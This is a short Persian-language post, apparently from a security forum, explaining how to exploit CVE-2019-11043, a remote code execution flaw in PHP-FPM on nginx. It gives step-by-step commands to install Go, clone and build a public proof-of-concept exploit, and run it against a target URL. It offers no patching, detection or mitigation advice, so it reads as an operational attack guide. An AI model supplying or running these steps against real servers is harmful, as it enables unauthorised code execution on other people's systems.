اکسپلویت CVE-2019-11043 PHP-FPM برای nginx

[ground_master]

آسیب پذیری مورد نظر در ماژول PHP-FPM وجود دارد و با ایجاد زنجیرهای آن با سایر موارد میتواند به مهاجمان اجازه دهد از راه دور کد دلخواه را روی سرورهای آسیب پذیر اجرا کنند.

در این پست به نحوه استفاده از اکسپلویت میپردازیم:

به منظور استفاده از این آسیب پذیری، یک POC با زبان golang ایجاد شده است که در لینک زیر قابل دسترس است :

  
https://github.com/neex/phuip-fpizdam

به منظور راه اندازی ابتدا با یکی از دستورات زیر golang را در سیستم عامل خود نصب نمایید :

  
apt-get install go

yum install go

پس از دریافت پیغام نصب موفقیت آمیز با دستور git clone فایل های POC را دانلود نمایید :

  
git clone https://github.com/neex/phuip-fpizdam.git

سپس با دستور cd به فولدر مربوطه رفته و دستور go build را اجرا نمیایید:

  
cd phuip-fpizdam  
 go build 

حالا میتوانید با دستور phuip-fpizdam برنامه را اجرا نمایید:

  
phuip-fpizdam http://target.com/index.php